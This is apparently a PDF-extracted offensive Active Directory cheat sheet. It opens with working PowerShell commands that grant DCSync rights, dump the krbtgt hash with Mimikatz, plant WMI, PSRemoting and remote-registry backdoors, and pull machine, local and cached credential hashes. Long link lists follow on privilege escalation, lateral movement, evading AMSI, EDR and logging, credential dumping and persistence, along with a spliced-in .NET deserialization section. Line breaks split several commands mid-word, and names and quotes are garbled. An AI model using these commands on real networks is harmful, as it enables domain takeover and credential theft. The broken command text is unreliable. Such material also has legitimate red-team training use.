Add-ObjectAcl -TargetDistinguishedName 'DC=lab,DC=domain,DC=local' -


PrincipalSamAccountName bob -Rights DCSync -Verbose

 Using ActiveDirectory Module and Set-ADACL


Set-ADACL -DistinguishedName 'DC=lab,DC=domain,DC=local' -Principal bob -GUIDRight
DCSync -Verbose

 Execute DCSync

Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt“’


SECURITY DESCRIPTORS

 ACLs can be modified to allow non-admin users access to securable objects

 WMI

o On local machine for jane Set-


RemoteWMI -UserName jane -

Verbose

o On remote machine for jane without explicit credentials

Set-RemoteWMI -UserName jame -ComputerName DC01 -namespace 'root\cimv2' -Verbose

o On remote machine with explicit credentials

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Exam Info
Set-RemoteWMI -UserName jane -ComputerName DC01 -Credential Administrator -
namespace 'root\cimv2' -Verbose

o On remote machine remove permissions

Set-RemoteWMI -UserName jane -ComputerName DC01 -namespace 'root\cimv2' -Remove -


Verbose

 PSREMOTE

o On local machine for joe

Set-RemotePSRemoting -UserName joe -Verbose

o On remote machine for joe without credentials

Set-RemotePSRemoting -UserName joe -ComputerName DC01 -Verbose

o On remote machine, remove the permissions

Set-RemotePSRemoting -UserName joe -ComputerName DC01 -Remove

 REMOTE REGISTRY

o Using DAMP, with admin privs on remote machine

Add-RemoteRegBackdoor -ComputerName DC01 -Trustee jack -Verbose

o As jack, retrieve machine account hash

Get-RemoteMachineAccountHash -ComputerName DC01 -Verbose

o Retrieve local account hash

Get-RemoteLocalAccountHash -ComputerName DC01 -Verbose

o Retrieve domain cached credentials

Get-RemoteCachedCredential -ComputerName DC01 -Verbose

https://github.com/Integration-IT/Active-Directory-Exploitation-Cheat- Sheet/tree/master/H%20-
%20Persistence

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Exam Info
Payload .NET

Additional Reading

 Attacking .NET serialization

 Friday the 13th: JSON Attacks - Slide s

 Friday the 13th: JSON Attacks - Whitepaper

 Friday the 13th: JSON Attacks - Video(demos)

 Are you my Type? - Slides

 Are you my Type? - Whitepaper

 Exploiting .NET Managed DCOM

 Finding and Exploiting .NET Remoting over HTTP using Deserialisation

ysoserial.net references in the wild


Research:
 https://www.nccgroup.trust/uk/about-us/newsroom-and-
events/blogs/2018/december/beware-of-deserialisation-in-.net-methods-and-classes- code-
execution-via-paste/

 https://www.nccgroup.trust/uk/about-us/newsroom-and-
events/blogs/2019/march/finding-and-exploiting-.net-remoting-over-http-using-
deserialisation/
https://www.nccgroup.trust/uk/about-us/newsroom-and- events/blogs/2018/august/aspnet-
resource-files-resx-and-deserialisation-issues/
 https://www.nccgroup.trust/uk/our-research/use-of-deserialisation-in-.net-
framework-methods-and-classes/?research=Whitepapers
 https://community.microfocus.com/t5/Security-Research-Blog/New-NET-
deserialization-gadget-for-compact-payload-When-size/ba-p/1763282

 https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net- via-
viewstate/

 https://www.nccgroup.trust/uk/about-us/newsroom-and-
events/blogs/2019/august/getting-shell-with-xamlx-files/

 https://soroush.secproject.com/blog/2019/08/uploading-web-config-for-fun-and- profit-
2/

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Exam Info
Usage:

 https://cert.360.cn/warning/detail?id=e689288863456481733e01b093c986b6

 https://labs.mwrinfosecurity.com/advisories/milestone-xprotect-net-deserialization-
vulnerability/

 https://soroush.secproject.com/blog/2018/12/story-of-two-published-rces-in- sharepoint-
workflows/

 https://srcincite.io/blog/2018/08/31/you-cant-contain-me-analyzing-and-exploiting- an-
elevation-of-privilege-in-docker-for-windows.html

 https://www.redteam-pentesting.de/de/advisories/rt-sa-2017-014/-cyberark- password-
vault-web-access-remote-code-execution
 https://www.synacktiv.com/ressources/advisories/Sitecore_CSRF_deserialize_RCE.pdf

 https://www.zerodayinitiative.com/blog/2019/3/13/cve-2019-0604-details-of-a- microsoft-
sharepoint-rce-vulnerability

 https://www.zerodayinitiative.com/blog/2018/8/14/voicemail-vandalism-getting- remote-
code-execution-on-microsoft-exchange-server

 https://www.nccgroup.trust/uk/our-research/technical-advisory-multiple-
vulnerabilities-in-smartermail/

 https://www.nccgroup.trust/uk/our-research/technical-advisory-code-execution-by- viewing-
resource-files-in-net-reflector/

 https://www.mdsec.co.uk/2020/02/cve-2020-0618-rce-in-sql-server-reporting- services-
ssrs/

 https://www.thezdi.com/blog/2020/2/24/cve-2020-0688-remote-code-execution-on- microsoft-
exchange-server-through-fixed-cryptographic-keys

Talks:
 https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json- Attacks.pdf

 https://speakerdeck.com/pwntester/attacking-net-serialization
https://speakerdeck.com/pwntester/dot-net-serialization-detecting-and-defending- vulnerable-
endpoints

 https://gosecure.github.io/presentations/2018-03-18-
confoo_mtl/Security_boot_camp_for_.NET_developers_Confoo_v2.pdf

 https://illuminopi.com/assets/files/BSidesIowa_RCEvil.net_20190420.pdf

 https://nullcon.net/website/archives/pdf/goa-2018/rohit-slides.pdf

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Exam Info
Tools:

 https://github.com/pwntester/ViewStatePayloadGenerator

 https://github.com/0xACB/viewgen

 https://github.com/Illuminopi/RCEvil.NET

https://github.com/Integration-IT/Active-Directory-Exploitation-Cheat-Sheet

Cheat Sheet
Privilege Escalation
PASSWORDS IN SYSVOL & GROUP POLICY PREFERENCES
 Finding Passwords in SYSVOL & Exploiting Group Policy Preferences

 Pentesting in the Real World: Group Policy Pwnage

MS14-068 KERBEROS VULNERABILITY

 MS14-068: Vulnerability in (Active Directory) Kerberos Could Allow Elevation ofPrivilege

 Digging into MS14-068, Exploitation and Defence

 From MS14-068 to Full Compromise – Step by Step

DNSADMINS

 Abusing DNSAdmins privilege for escalation in Active Directory


 From DNSAdmins to Domain Admin, When DNSAdmins is More than Just DNS
Administration

UNCONSTRAINED DELEGATION
 Domain Controller Print Server + Unconstrained Kerberos Delegation = Pwned ActiveDirectory
Forest

 Active Directory Security Risk #101: Kerberos Unconstrained Delegation (or How
Compromise of a Single Server Can Compromise the Domain)

 Unconstrained Delegation Permissions

 Trust? Years to earn, seconds to break

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Exam Info
 Hunting in Active Directory: Unconstrained Delegation & Forests Trusts

CONSTRAINED DELEGATION

 Another Word on Delegation

 From Kekeo to Rubeus

 S4U2Pwnage

 Kerberos Delegation, Spns And More…

INSECURE GROUP POLICY OBJECT PERMISSION RIGHTS


 Abusing GPO Permissions

 A Red Teamer’s Guide to GPOs and OUs

 File templates for GPO Abuse

INSECURE ACLS PERMISSION RIGHTS

 Exploiting Weak Active Directory Permissions With Powersploit

 Escalating privileges with ACLs in Active Directory

 Abusing Active Directory Permissions with PowerView

 BloodHound 1.3 – The ACL Attack Path Update

 Scanning for Active Directory Privileges & Privileged Accounts

 Active Directory Access Control List – Attacks and Defense

 aclpwn - Active Directory ACL exploitation with BloodHound

DOMAIN TRUSTS
 A Guide to Attacking Domain Trusts
 It’s All About Trust – Forging Kerberos Trust Tickets to Spoof Access across ActiveDirectory
Trusts

 Active Directory forest trusts part 1 - How does SID filtering work?

 The Forest Is Under Control. Taking over the entire Active Directory forest

 Not A Security Boundary: Breaking Forest Trusts

 The Trustpocalypse

DCSHADOW

 Privilege Escalation With DCShadow

 DCShadow

 DCShadow explained: A technical deep dive into the latest AD attack technique
DCShadow - Silently turn off Active Directory Auditing

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Exam Info
 DCShadow - Minimal permissions, Active Directory Deception, Shadowception andmore

RID
• Rid Hijacking: When Guests Become Admins

MICROSOFT SQL SERVER


• How to get SQL Server Sysadmin Privileges as a Local Admin with PowerUpSQL
• Compromise With Powerupsql – Sql Attacks RED
FOREST

• Attack and defend Microsoft Enhanced Security Administrative

Lateral Movement
MICROSOFT SQL SERVER DATABASE LINKS
• SQL Server – Link… Link… Link… and Shell: How to Hack Database Links in SQL Server!

• SQL Server Link Crawling with PowerUpSQL

PASS THE HASH


• Performing Pass-the-hash Attacks With Mimikatz

• How to Pass-the-Hash with Mimikatz

• Pass-the-Hash Is Dead: Long Live LocalAccountTokenFilterPolicy

SYSTEM CENTER CONFIGURATION MANAGER (SCCM)


• Targeted Workstation Compromise With Sccm

• PowerSCCM - PowerShell module to interact with SCCM deployments


WSUS

• Remote Weaponization of WSUS MITM

• WSUSpendu

• Leveraging WSUS – Part One

PASSWORD SPRAYING
• Password Spraying Windows Active Directory Accounts - Tradecraft Security Weekly #5

• Attacking Exchange with MailSniper

• A Password Spraying tool for Active Directory Credentials by Jacob Wilkin

AUTOMATED LATERAL MOVEMENT

• GoFetch is a tool to automatically exercise an attack plan generated by the


BloodHound application

• DeathStar - Automate getting Domain Admin using Empire

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Exam Info
• ANGRYPUPPY - Bloodhound Attack Path Automation in CobaltStrike

Defense Evasion
IN-MEMORY EVASION

• Bypassing Memory Scanners with Cobalt Strike and Gargoyle

• In-Memory Evasions Course


• Bring Your Own Land (BYOL) – A Novel Red Teaming Technique
ENDPOINT DETECTION AND RESPONSE (EDR) EVASION

• Red Teaming in the EDR age

• Sharp-Suite - Process Argument Spoofing

OPSEC

• Modern Defenses and YOU!

• OPSEC Considerations for Beacon Commands

• Red Team Tradecraft and TTP Guidance


• Fighting the Toolset
MICROSOFT ATA & ATP EVASION

• Red Team Techniques for Evading, Bypassing, and Disabling MS Advanced


ThreatProtection and Advanced Threat Analytics

• Red Team Revenge - Attacking Microsoft ATA

• Evading Microsoft ATA for Active Directory Domination

POWERSHELL SCRIPTBLOCK LOGGING BYPASS


• PowerShell ScriptBlock Logging Bypass POWERSHELL

ANTI-MALWARE SCAN INTERFACE (AMSI) BYPASS

• How to bypass AMSI and execute ANY malicious Powershell code

• AMSI: How Windows 10 Plans to Stop Script-Based Attacks

• AMSI Bypass: Patching Technique


• Invisi-Shell - Hide your Powershell script in plain sight. Bypass all Powershell
securityfeatures

LOADING .NET ASSEMBLIES ANTI-MALWARE SCAN INTERFACE (AMSI) BYPASS

• A PoC function to corrupt the g_amsiContext global variable in clr.dll in


.NETFramework Early Access build 3694
APPLOCKER & DEVICE GUARD BYPASS

• Living Off The Land Binaries And Scripts - (LOLBins and LOLScripts)

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Exam Info
SYSMON EVASION

• Subverting Sysmon: Application of a Formalized Security Product Evasion Methodology


• sysmon-config-bypass-finder

HONEYTOKENS EVASION

• Forging Trusts for Deception in Active Directory


• Honeypot Buster: A Unique Red-Team Tool
DISABLING SECURITY TOOLS
Invoke-Phant0m - Windows Event Log Killer

Credential Dumping
NTDS.DIT PASSWORD EXTRACTION

• How Attackers Pull the Active Directory Database (NTDS.dit) from a Domain Controller
• Extracting Password Hashes From The Ntds.dit File SAM
(SECURITY ACCOUNTS MANAGER)

• Internal Monologue Attack: Retrieving NTLM Hashes without Touching LSASS

KERBEROASTING

• Kerberoasting Without Mimikatz

• Cracking Kerberos TGS Tickets Using Kerberoast – Exploiting Kerberos to


Compromisethe Active Directory Domain

• Extracting Service Account Passwords With Kerberoasting

• Cracking Service Account Passwords with Kerberoasting

• Kerberoast PW list for cracking passwords with complexity requirements

KERBEROS AP-REP ROASTING

• Roasting AS-REPs

WINDOWS CREDENTIAL MANAGER/VAULT

• Operational Guidance for Offensive User DPAPI Abuse


• Jumping Network Segregation with RDP
DCSYNC

• Mimikatz and DCSync and ExtraSids, Oh My

• Mimikatz DCSync Usage, Exploitation, and Detection


• Dump Clear-Text Passwords for All Admins in the Domain Using Mimikatz DCSync
LLMNR/NBT-NS POISONING

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Exam Info
• Pwning with Responder – A Pentester’s Guide
• LLMNR/NBT-NS Poisoning Using Responder

OTHER

• Compromising Plain Text Passwords In Active Directory

Persistence

GOLDEN TICKET

• Golden Ticket
• Kerberos Golden Tickets are Now More Golden SID
HISTORY

• Sneaky Active Directory Persistence #14: SID History

SILVER TICKET

• How Attackers Use Kerberos Silver Tickets to Exploit Systems

• Sneaky Active Directory Persistence #16: Computer Accounts & Domain


ControllerSilver Tickets
DCSHADOW
• Creating Persistence With Dcshadow
ADMINSDHOLDER

• Sneaky Active Directory Persistence #15: Leverage AdminSDHolder & SDProp


to(Re)Gain Domain Admin Rights
• Persistence Using Adminsdholder And Sdprop
GROUP POLICY OBJECT

• Sneaky Active Directory Persistence #17: Group Policy

SKELETON KEYS

• Unlocking All The Doors To Active Directory With The Skeleton Key Attack

• Skeleton Key

• Attackers Can Now Use Mimikatz to Implant Skeleton Key on Domain Controllers
&BackDoor Your Active Directory Forest

SEENABLEDELEGATIONPRIVILEGE

• The Most Dangerous User Right You (Probably) Have Never Heard Of

• SeEnableDelegationPrivilegeActive Directory Backdoor

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Exam Info
SECURITY SUPPORT PROVIDER
• Sneaky Active Directory Persistence #12: Malicious Security Support Provider (SSP)
DIRECTORY SERVICES RESTORE MODE

• Sneaky Active Directory Persistence #11: Directory Service Restore Mode (DSRM)

• Sneaky Active Directory Persistence #13: DSRM Persistence v2

ACLS & SECURITY DESCRIPTORS

• An ACE Up the Sleeve: Designing Active Directory DACL Backdoors

• Shadow Admins – The Stealthy Accounts That You Should Fear The Most
• The Unintended Risks of Trusting Active Directory
Tools & Scripts

• PowerView - Situational Awareness PowerShell framework

• BloodHound - Six Degrees of Domain Admin

• Impacket - Impacket is a collection of Python classes for working with network


protocols

• aclpwn.py - Active Directory ACL exploitation with BloodHound

• CrackMapExec - A swiss army knife for pentesting networks


• ADACLScanner - A tool with GUI or command linte used to create reports of access
control lists (DACLs) and system access control lists (SACLs) in Active Directory
• zBang - zBang is a risk assessment tool that detects potential privileged account
threats

• PowerUpSQL - A PowerShell Toolkit for Attacking SQL Server

• Rubeus - Rubeus is a C# toolset for raw Kerberos interaction and abuses


• ADRecon - A tool which gathers information about the Active Directory and generatesa
report which can provide a holistic picture of the current state of the target AD
environment

• Mimikatz - Utility to extract plaintexts passwords, hash, PIN code and kerberos tickets
from memory but also perform pass-the-hash, pass-the-ticket or build Golden tickets

• Grouper - A PowerShell script for helping to find vulnerable settings in AD Group


Policy.

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Exam Info
https://0x1.gitlab.io/pentesting/Active-Directory-Kill-Chain-Attack-and-Defense/

https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20
Resources/Active%20Directory%20Attack.md

https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet

https://github.com/CyberSecurityUP/Red-Team-
Management/tree/main/Adversary%20Emulation

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